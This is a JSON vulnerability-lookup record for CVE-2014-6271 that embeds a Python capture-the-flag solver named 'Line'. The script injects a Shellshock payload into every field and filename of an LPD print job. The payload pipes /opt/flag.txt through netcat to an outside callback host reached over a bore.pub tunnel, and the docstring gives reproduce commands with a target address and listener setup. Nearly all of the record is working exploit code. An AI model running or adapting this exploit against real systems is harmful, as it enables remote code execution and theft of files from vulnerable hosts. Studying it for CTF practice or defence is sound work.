{"uuid": "d2789ff5-3de3-40a3-8e72-1f6e1fa658a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2014-6271", "type": "seen", "source": "https://gist.github.com/saad0x1/ecab3c418f1521455cfdbfc2d6309d52", "content": "#!/usr/bin/env python3\n\"\"\"\nLine \u2014 LPD Shellshock (CVE-2014-6271) exfiltration\nRemote solver. Usage: python3 solve.py \n\nAttack: LPD (RFC 1179) 'in' mode sets ALL control-file fields (H, P, J, N, T, U\u2026)\nto attacker-controlled input. The LPD daemon on the server passes those fields\nthrough a bash(1) shell that has NOT been patched against Shellshock \u2014 injecting\n() {:;};  triggers arbitrary code execution.\n\nFlag lives at /opt/flag.txt and is exfiltrated via a bore.pub reverse shell or\nany other outbound callback. Here we use a local nc listener via bore.pub tunnel.\n\nQuick reproduce:\n    bore local 9001 --to bore.pub        # get remote_port, e.g. 55246\n    nc -nvlp 9001 &amp;                      # local listener\n    python3 solve.py 154.57.164.79:31117 55246 bore.pub\n\nOr just run the script with a callback host/port you control.\n\"\"\"\n\nimport sys\nimport socket\n\n# \u2500\u2500 RFC 1179 helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\nqueue = \"lp\"\n\n\ndef ack(s):\n    r = s.recv(4096)\n    if r != b\"\\x00\":\n        print(f\"[!] Negative ACK: {r!r}\")\n        s.send(b\"\\x01\\n\")\n        s.close()\n        sys.exit(1)\n\n\ndef lpd_send_job(host, port, payload):\n    \"\"\"\n    Send an LPD print job where EVERY field \u2014 including the sub-command\n    filename headers \u2014 is set to `payload`.  The Shellshock trigger is the\n    filename in \"\\x02  \\n\" and \"\\x03  \\n\"\n    (PRET lpdtest 'in' mode behaviour).\n    \"\"\"\n    # All of these are set to the raw payload, matching PRET exactly\n    p_ctrlfile = payload\n    p_datafile  = payload\n\n    ctrl  = \"\"\n    ctrl += \"H\" + payload + \"\\n\"   # hostname\n    ctrl += \"P\" + payload + \"\\n\"   # user\n    ctrl += \"U\" + payload + \"\\n\"   # unlink data file\n    ctrl += \"J\" + payload + \"\\n\"   # job name\n    ctrl += \"C\" + payload + \"\\n\"   # class for banner\n    ctrl += \"L\" + payload + \"\\n\"   # print banner\n    ctrl += \"T\" + payload + \"\\n\"   # title for pr\n    ctrl += \"N\" + payload + \"\\n\"   # source file name\n    ctrl += \"p\" + payload + \"\\n\"   # print with pr format\n    ctrl += \"f\" + payload + \"\\n\"   # print file leaving ctrl chars\n\n    data = f\"Print job from lpdtest 'in' and argument '{payload}'.\"\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send((\"\\x02\" + queue + \"\\n\").encode())\n    ack(s)\n\n    # Key: filename in the sub-command header IS the payload (not \"cfA001\")\n    s.send((\"\\x02\" + str(len(ctrl)) + \" \" + p_ctrlfile + \"\\n\").encode())\n    ack(s)\n    s.send((ctrl + \"\\x00\").encode())\n    ack(s)\n\n    # data file filename also = payload\n    s.send(((\"\\x03\" + str(len(data)) + \" \" + p_datafile + \"\\n\")).encode())\n    ack(s)\n    s.send((data + \"\\x00\").encode())\n    ack(s)\n\n    s.close()\n\n\n# \u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef main():\n    if len(sys.argv) &lt; 2:\n        print(f\"Usage: {sys.argv[0]}  [callback_port] [callback_host]\")\n        print(f\"  e.g. {sys.argv[0]} 154.57.164.79:31117 55246 bore.pub\")\n        sys.exit(1)\n\n    addr   = sys.argv[1]\n    cbport = sys.argv[2] if len(sys.argv) &gt; 2 else \"9001\"\n    cbhost = sys.argv[3] if len(sys.argv) &gt; 3 else \"bore.pub\"\n\n    ip, port = addr.split(\":\")\n    port = int(port)\n\n    # Shellshock payload: exfiltrate /opt/flag.txt via netcat to our listener\n    shellshock = f\"() {{:;}}; cat /opt/flag.txt | nc {cbhost} {cbport}\"\n\n    print(f\"[*] Target  : {ip}:{port}\")\n    print(f\"[*] Callback: {cbhost}:{cbport}\")\n    print(f\"[*] Payload : {shellshock}\")\n    print(f\"[*] Make sure you have a listener: nc -nvlp 9001\")\n    print(f\"[*]   (or:  bore local 9001 --to bore.pub)\")\n\n    lpd_send_job(ip, port, shellshock)\n    print(f\"[+] Job submitted. Check your listener for the flag.\")\n\n\nif __name__ == \"__main__\":\n    main()", "creation_timestamp": "2026-05-25T18:38:59.000000Z"}